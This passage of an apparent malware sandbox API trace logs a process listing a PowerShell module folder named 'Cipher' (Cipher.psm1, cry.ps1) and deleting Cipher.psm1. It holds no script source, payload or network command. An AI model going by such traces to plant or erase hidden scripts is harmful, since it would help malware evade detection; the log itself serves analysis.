GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", nBufferLength=0x105, lpBuffer=0x99ae380, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", lpFilePart=0x0) returned 0x41 [0141.205] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*", lpFindFileData=0x99ae5cc | out: lpFindFileData=0x99ae5cc) returned 0x8c6eef0 [0141.205] FindNextFileW (in: hFindFile=0x8c6ee30, lpFindFileData=0x99ae62c | out: lpFindFileData=0x99ae62c) returned 1 [0141.205] FindNextFileW (in: hFindFile=0x8c6ee30, lpFindFileData=0x99ae62c | out: lpFindFileData=0x99ae62c) returned 1 [0141.206] FindNextFileW (in: hFindFile=0x8c6ee30, lpFindFileData=0x99ae62c | out: lpFindFileData=0x99ae62c) returned 1 [0141.206] FindNextFileW (in: hFindFile=0x8c6ee30, lpFindFileData=0x99ae62c | out: lpFindFileData=0x99ae62c) returned 0 [0141.206] FindClose (in: hFindFile=0x8c6ee30 | out: hFindFile=0x8c6ee30) returned 1 [0141.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae8b4) returned 1 [0141.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae8c0) returned 1 [0141.206] FindNextFileW (in: hFindFile=0x8c6eef0, lpFindFileData=0x99ae62c | out: lpFindFileData=0x99ae62c) returned 1 [0141.206] FindNextFileW (in: hFindFile=0x8c6eef0, lpFindFileData=0x99ae62c | out: lpFindFileData=0x99ae62c) returned 1 [0141.206] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae35c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0141.206] FindNextFileW (in: hFindFile=0x8c6eef0, lpFindFileData=0x99ae62c | out: lpFindFileData=0x99ae62c) returned 1 [0141.206] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae35c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0141.207] FindNextFileW (in: hFindFile=0x8c6eef0, lpFindFileData=0x99ae62c | out: lpFindFileData=0x99ae62c) returned 0 [0141.207] FindClose (in: hFindFile=0x8c6eef0 | out: hFindFile=0x8c6eef0) returned 1 [0141.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae8b4) returned 1 [0141.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae8c0) returned 1 [0141.209] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0141.209] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0141.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea9c) returned 1 [0141.209] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae5a4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0141.209] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", nBufferLength=0x105, lpBuffer=0x99ae578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", lpFilePart=0x0) returned 0x41 [0141.210] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*", lpFindFileData=0x99ae7c4 | out: lpFindFileData=0x99ae7c4) returned 0x8c6f1b0 [0141.210] FindNextFileW (in: hFindFile=0x8c6f1b0, lpFindFileData=0x99ae7f4 | out: lpFindFileData=0x99ae7f4) returned 1 [0141.210] FindNextFileW (in: hFindFile=0x8c6f1b0, lpFindFileData=0x99ae7f4 | out: lpFindFileData=0x99ae7f4) returned 1 [0141.210] FindClose (in: hFindFile=0x8c6f1b0 | out: hFindFile=0x8c6f1b0) returned 1 [0141.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea88) returned 1 [0141.210] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0141.210] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0141.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9e0) returned 1 [0141.210] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae4e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0141.210] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", nBufferLength=0x105, lpBuffer=0x99ae4bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", lpFilePart=0x0) returned 0x41 [0141.210] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*", lpFindFileData=0x99ae708 | out: lpFindFileData=0x99ae708) returned 0x8c6ee30 [0141.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9e0) returned 1 [0141.210] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae4e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0141.211] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", nBufferLength=0x105, lpBuffer=0x99ae4bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", lpFilePart=0x0) returned 0x41 [0141.211] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*", lpFindFileData=0x99ae708 | out: lpFindFileData=0x99ae708) returned 0x8c6f1b0 [0141.211] FindNextFileW (in: hFindFile=0x8c6ee30, lpFindFileData=0x99ae768 | out: lpFindFileData=0x99ae768) returned 1 [0141.211] FindNextFileW (in: hFindFile=0x8c6ee30, lpFindFileData=0x99ae768 | out: lpFindFileData=0x99ae768) returned 1 [0141.211] FindNextFileW (in: hFindFile=0x8c6ee30, lpFindFileData=0x99ae768 | out: lpFindFileData=0x99ae768) returned 1 [0141.211] FindNextFileW (in: hFindFile=0x8c6ee30, lpFindFileData=0x99ae768 | out: lpFindFileData=0x99ae768) returned 0 [0141.211] FindClose (in: hFindFile=0x8c6ee30 | out: hFindFile=0x8c6ee30) returned 1 [0141.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f0) returned 1 [0141.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9fc) returned 1 [0141.211] FindNextFileW (in: hFindFile=0x8c6f1b0, lpFindFileData=0x99ae768 | out: lpFindFileData=0x99ae768) returned 1 [0141.211] FindNextFileW (in: hFindFile=0x8c6f1b0, lpFindFileData=0x99ae768 | out: lpFindFileData=0x99ae768) returned 1 [0141.212] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae498, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0141.212] FindNextFileW (in: hFindFile=0x8c6f1b0, lpFindFileData=0x99ae768 | out: lpFindFileData=0x99ae768) returned 1 [0141.212] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae498, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0141.212] FindNextFileW (in: hFindFile=0x8c6f1b0, lpFindFileData=0x99ae768 | out: lpFindFileData=0x99ae768) returned 0 [0141.212] FindClose (in: hFindFile=0x8c6f1b0 | out: hFindFile=0x8c6f1b0) returned 1 [0141.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f0) returned 1 [0141.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9fc) returned 1 [0141.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0141.213] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0141.213] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0141.213] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0141.213] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0141.213] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0141.213] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0141.213] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0141.213] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0141.213] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0141.213] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0141.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0141.213] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0141.213] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0141.214] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0141.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0141.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0141.214] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell")) returned 0x10 [0141.214] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell")) returned 0x10 [0141.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell", lpFilePart=0x0) returned 0x31 [0141.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell", lpFilePart=0x0) returned 0x31 [0141.214] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules")) returned 0x10 [0141.214] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules")) returned 0x10 [0141.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x39 [0141.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x39 [0141.214] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0141.214] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0141.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0141.215] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0141.215] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0x20 [0141.215] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae734, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0141.215] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0141.215] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae870, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0141.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aed30) returned 1 [0141.215] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0141.215] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1\\", nBufferLength=0x105, lpBuffer=0x99ae80c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1\\", lpFilePart=0x0) returned 0x4d [0141.215] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1\\*", lpFindFileData=0x99aea58 | out: lpFindFileData=0x99aea58) returned 0xffffffff [0141.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aecf4) returned 1 [0141.215] CoTaskMemAlloc (cb=0x404) returned 0x42df658 [0141.215] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x42df658, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0141.216] CoTaskMemFree (pv=0x42df658) [0141.216] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0x20 [0141.216] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0141.217] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0141.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec54) returned 1 [0141.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x6a48bdc | out: lpFileInformation=0x6a48bdc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe020fe1e, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe020fe1e, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe0be58b7, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0141.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec50) returned 1 [0141.217] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 1 [0141.218] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae7ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0141.218] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0141.218] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0141.218] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0141.218] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0141.218] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0141.219] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0141.219] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0141.219] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0141.219] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0141.219] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0141.219] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0141.219] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0141.219] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0141.219] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0141.219] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0141.219] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0141.219] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell")) returned 0x10 [0141.219] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell")) returned 0x10 [0141.219] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell", lpFilePart=0x0) returned 0x31 [0141.219] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell", lpFilePart=0x0) returned 0x31 [0141.220] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules")) returned 0x10 [0141.220] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules")) returned 0x10 [0141.220] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x39 [0141.220] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x39 [0141.220] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0141.220] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0141.220] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0141.220] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\.", nBufferLength=0x105, lpBuffer=0x99ae6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", 